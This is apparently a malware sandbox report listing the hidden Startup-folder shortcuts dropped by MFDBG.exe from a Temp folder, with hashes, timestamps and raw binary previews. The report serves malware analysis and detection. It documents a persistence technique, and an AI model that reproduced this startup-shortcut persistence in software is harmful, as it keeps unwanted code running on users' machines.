Preview:	L..................F...."...]W%.{...."X.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_161be8eb5229421586ef616afec945ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9326127500817485
Encrypted:	false
SSDEEP:	24:8EhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ms0R6rMhpBoUBxdRd1nYyg
MD5:	9AF512B786F09E8F77179E18D0C74086
SHA1:	A671646721EB21F3B24D4461A5CA754BB5293060
SHA-256:	ED636BDA8591E9779AFE538C486CD746AC6CB6B71296F1B645CFF3AFBFC5A7DD
SHA-512:	B02D9E1498F13BAE5C809597D704688F56EDA5995AA8C577D794DBD5D5D310663F1D48F4E8C1661AA31505E25FF740900D449B5DCCEF706CFC3B809DC22DD0A0
Malicious:	false
Preview:	L..................F...."...]W%.{...A.9.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_162d2564056b4f25af0b03aec212724b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937621631793056
Encrypted:	false
SSDEEP:	24:8vhBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zp0R6rMhpBoUBxdRd1nYyg
MD5:	91DFD13E6D28FC07912EAA41D51BD035
SHA1:	2A28EEEA41F4F675685274C9B7470C2AC4DFEFB4
SHA-256:	382A22E7F64E6D4FEBB8892F1E27C041EAE90868378CCECDC3B18A71A1A6FD6B
SHA-512:	D22969333FFCD204CCCF3E088E1C248A15DFFE01A9B303B7C6AF73665491257629CDAA372783DABDBB54D745CF1D34F3BF0F7829D986E7AA932C6C13DC3A4983
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1633c92dbed043028e3eaccaffee2aac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052347
Encrypted:	false
SSDEEP:	24:86hBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wl0R6rMhpBoUBxdRd1nYyg
MD5:	43023519DF80D17C960CA440EA0825F2
SHA1:	E60949B0A57BBB83E6E83AAE0B77B2084DA2AE08
SHA-256:	48735332EB23EF20E56CB9FB8D2E2079D1887A254CDCCBBF3D7938ECD4701442
SHA-512:	9B05ECAAA446AB56F8FDD891166DB079BA340776451F5FCC8105D2F58223B2C1C7E2964EFC8BB69ECB83AC84C23D9180D073E3B6FFC955547A0C929CBB0F45F2
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_167335b91ede48169e9c6bd52d11f536.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936004712882378
Encrypted:	false
SSDEEP:	24:8UhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8WKI0R6rMhpBoUBxdRd1nYyg
MD5:	809A4342356440DD54190F5DF5C9EFD1
SHA1:	4F8BE6E1F89FD1116EEA8C21AC19F7015C40D37D
SHA-256:	7CB6771574F0A11339825F1E27497134BF3795D41075FDF0415C47B92EA23751
SHA-512:	A7438B3256AA2DA6F3FF4FD6BDDBA830C29A3A53F05560AA631A638505733DA4E87166B5CAC99227B8255BA76C1D2FA36DCB2E0A75C9B74ABCE0E838263614BB
Malicious:	false
Preview:	L..................F...."...]W%.{.....`.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_16a3bd0232114b2cb2e3c6a99bf54eea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943521954270607
Encrypted:	false
SSDEEP:	24:8bhBfsA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fE10R6rMhpBoUBxdRd1nYyg
MD5:	81B319E898FFA0191D1CE4D8B83E75CD
SHA1:	EB05A6D6596CF9BEFEFB004ABFB1696BF0DC9685
SHA-256:	7EE8385D151EF9DCF5F75D155014377D6DF7EE9E8490E86CF6C3E116E4ED0F3D
SHA-512:	93537DF1503DA29C03BB89B7F1AA1BB58FA89C90EEA083D737169EA820F3169E52DB876E7D5A7690AF25498072DCEFE0C845ED07D63A455CE726F3E6B9C1950D
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_171c4d2fa7de4fa1b9803be0f00a8ebe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935479654440524
Encrypted:	false
SSDEEP:	24:88hBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Olc0R6rMhpBoUBxdRd1nYyg
MD5:	6A8F10A97870548BC6DD57845C87CC0D
SHA1:	9E8C8E02CF37F2C1339189AE2F849AE1292B5786
SHA-256:	C9E1EFA4E98A1DCB12F14AE4AB17F486494C0873F8DA0CA06C119022D8673C69
SHA-512:	AF5F99AE3CF91163CF6629012726A2FC0247387B2BC96CEE6CEA17E85622AF24711930FB7C879217D0FBA464E9A4C1D8FFA5D022BB699E35757BFA54D7264A19
Malicious:	false
Preview:	L..................F...."...]W%.{...G..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17ba712e0f5e4fa7a55639457ed3cff8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934584059186692
Encrypted:	false
SSDEEP:	24:8FhBfP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Vs0R6rMhpBoUBxdRd1nYyg
MD5:	39E6042BD84AD95F5D7FE606596322F6
SHA1:	3FA40E5896ADAA7C66CEC7F9E1D2E704C6437ACC
SHA-256:	CFCED709870B1660263793401A5FD9BE5CA42C5B2923C21B52C0A96D3DF6FCA3
SHA-512:	596AC7DFB9B5A87B8FE800302A4EC4E4845F4019798FCDE97DB3C77AAFF7E8BEE36D7BFAA7973935C2D6EA06D9A05A88583E615E00C33DD0FC560BDD9025088B
Malicious:	false
Preview:	L..................F...."...]W%.{.....H.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S.E.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17bf3b161fa24807bfe401fc7c5c7fe6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942205863897635
Encrypted:	false
SSDEEP:	24:8Vn2hBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yn0R6rMhpBoUBxdRd1nYyg
MD5:	AAA5EFFEABFEF92414157831D048D9D5
SHA1:	981E64830059339F30C702D40B1D895779649E58
SHA-256:	CDA46C8EC2F580AE59419BD2D9CEF77E8661DB86D36080059F6E2E6D81EBCB1C
SHA-512:	F08D1C6AAB6E5EDC116508049D7638D9F75E8BA0D2670C81DCAA72A5BEF0938190BFDF4671BE5FB25B4220474FBDE3586BED9BF931CD199DF254EDF17D6B7D85
Malicious:	false
Preview:	L..................F...."...]W%.{....J..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17ecd94fcf5643a89b12c55dea4628bb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9336870064243685
Encrypted:	false
SSDEEP:	24:8d9hBfwp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8d9oO0R6rMhpBoUBxdRd1nYyg
MD5:	E6C8E9741DBF0B2256839ABCB62B3AF6
SHA1:	635F84ABAA88BC5EF09F91B4BBFD212B648DD426
SHA-256:	E87771378E17298D596BFFE112B933298D2FF8B47B3657E5F080399877CCF017
SHA-512:	5CCF9268FF62AF99CBB6B9D0EA8BA4186D2AE9379F35F93A4D9AB3960CC2E4B0B90108AB66FA31FDD219CA985B72CD8C8C3B03342D957630D72FE520150208F8
Malicious:	false
Preview:	L..................F...."...]W%.{...!.e.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....9c.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1889f16736d24f6f8ce8c10d6eac5175.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9314024114361095
Encrypted:	false
SSDEEP:	24:8DhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83D0R6rMhpBoUBxdRd1nYyg
MD5:	A4D3170E5426276F410CC6D8EDC7BC7E
SHA1:	398D8CE9F42566A5E2C5A9F96DE3003F8C141528
SHA-256:	89B0C0FC8C60B05044D6C060D296EFE4C4092BC4A1865E79F0DD756EC99FC8C4
SHA-512:	A256891ED1C715516DE3D5DC17538E5D229204823650BE788A850BE15F6D996BBB5ABE503E050D56D460D0DE635B26A1F9408B6AC5BF1FCC8A6F8874162D2FD7
Malicious:	false
Preview:	L..................F...."...]W%.{...N./.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...C...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_19959ae7ba1c4c1ea2ada7f02752151e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939960858253017
Encrypted:	false
SSDEEP:	24:8v8hBfu8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Gr0R6rMhpBoUBxdRd1nYyg
MD5:	8590A41CA873ED398ACC3C2DA9AFFAF6
SHA1:	30CC042B401ED30D5B071739A9BD6873F9E3C7FE
SHA-256:	E6048B9962235D18705321552E3E8D15F0768FA88B08074968A323F50B06DED4
SHA-512:	BCD09B78A82E3366F211F49A16DD8E8457003B60761733D487385352143CB082FE58FCFB55287D32CFF24E9FAF10D62ED893B45CDE4346238611AE13F8807610
Malicious:	false
Preview:	L..................F...."...]W%.{....4..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_199a6424bac7478bb7d6b05c89fa5528.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94203230708921
Encrypted:	false
SSDEEP:	24:8OmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Os60R6rMhpBoUBxdRd1nYyg
MD5:	6EF6E024081B71F3D8E6C938F5FCEEF2
SHA1:	6AB36359DF40C16FF74DC70DBBF34C7211A5F069
SHA-256:	60DAB4D318BBCC9A89019B623A915BA16BB2A5A7D04A874C30A9E81134A6D865
SHA-512:	B5D0874A10AE5C69729EAD0433F71D22B291BC333AC82FE8878F34E3D48B29D416E452B895C66BBA484977A413992C774156E7C147C79F679E0D8284013CF371
Malicious:	false
Preview:	L..................F...."...]W%.{....Y..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_19f77a25fd6e4a36b9028741636b740e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938198743715572
Encrypted:	false
SSDEEP:	24:8fhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8DW0R6rMhpBoUBxdRd1nYyg
MD5:	B2DEB9B19D495A861C0826179AEAE2D6
SHA1:	5077E3D693C3EA6BE6FDBF584086708D998F7F8C
SHA-256:	81E379A6F9468D78260D7941108F9B86C948A48D378ADCADE5E5F7387EC08B90
SHA-512:	AB9EFF3B8074E21B9CE38FF437ED781799EC3B4D6377757D75491286A458A49590B9F1735C7E3162D4C1097CB51597A67DED1DAA177D6B90646F767920DDFB0C
Malicious:	false
